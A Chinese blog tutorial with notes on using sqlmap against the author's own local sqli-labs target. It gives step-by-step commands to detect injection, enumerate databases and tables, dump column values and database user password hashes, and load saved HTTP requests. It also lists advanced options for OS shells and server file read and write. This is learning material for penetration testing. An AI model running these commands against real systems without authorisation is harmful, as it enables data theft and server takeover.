zoukankan      html  css  js  c++  java
  • sqlmap

    写在前面

      遇到SQL注入就sqlmap一把梭,有一说一,这个工具确实好用,不过还是要了解SQL注入原理,不然只能做个脚本小子,简单了解一下 https://www.cnblogs.com/Lee-404/p/12795193.html

      这篇也只是我学习sqlmap的总结而已,感兴趣的可以去找相关资料深度学习,sqlmap是基于python2.7的,所以在py3的环境下是无法使用的,当然,你可以修改源码ORZ,我这里就直接用kali和搭建好sqli环境了。 https://www.cnblogs.com/Lee-404/p/12787190.html

    sqlmap使用

      介绍之前,先简单了解一下sqlmap的参数,可以利用 sqlmap -h 查询,这里简单介绍几个常用的

    -u URL
    -r 文件
    --dbs 获取库名
    -D 库名
    --tables 获取表名
    -T 表名
    --columns 获取字段名
    -C 字段名
    --dump 获取字段值
    --users 获取数据库用户
    --passwords 获取数据库用户密码
    --current-db 获取当前数据库
    --current-user 获取当前数据库用户
    --batch 跳过确认

      直接注入

      1、首先判断是否存在注入

       发现id参数可控,可能有SQL注入,唆哈

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --batch

       2、查询数据库

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --dbs --batch

      其实到这一步,查哪个库已经无所谓了,因为整个数据库的内容全暴露了,可以为所欲为。一般渗透测试中到这一步就可以了,再下去要出事,不过这是我自己的靶机无所谓

       3、查询指定数据库的表

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa --tables --batch

       4、查询指定表的字段值

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa -T flag --columns --batch

       5、查询值

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa -T flag -C flag --dump --batch

      文本注入

      从文本中保存一个HTTP请求,sqlmap会加载这个文件获取请求,通常在POST提交表单使用,这个要配合抓包软件使用,如一个文件保存着:

    GET /sql/Less-1/?id=1 HTTP/1.1
    Host: 192.168.43.167
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    sqlmap -r test.txt --batch

       接下来就和直接用URL注入没区别了

      其他

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --users --batch

     

    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --passwords --batch


    sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --current-db --batch
    
    

     sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --current-user --batch
     

    sqlmap进阶参数

    --level    探测等级
    --is-db    当前用户是否是管理员
    --roles    列处数据库管理角色
    --referer    HTTP referer头
    --sql-shell    自定义SQL语句
    --os-cmd,--os-shell    任意操作系统命令
    --file-read    从服务器中读取文件
    --file-write    上传文件到服务器
    --tamper    加载绕过脚本
  • 相关阅读:
    浅谈缓存管理
    [Architecture Pattern] Database Migration (上)
    knockout.js的学习笔记4
    cenOS5.5安装oracle10g(傻瓜篇)
    SportsStore:管理 — 精通ASP.NET MVC 3
    ASP.NET MVC下的异步Action的定义和执行原理
    基于EF 4.3.1 Code First的领域驱动设计实践案例
    asp.net缓存
    《Pro ASP.NET MVC 3 Framework》部署
    Asp.Net MVC 3.0【Hello World!】
  • 原文地址:https://www.cnblogs.com/Lee-404/p/12878365.html
Copyright © 2011-2022 走看看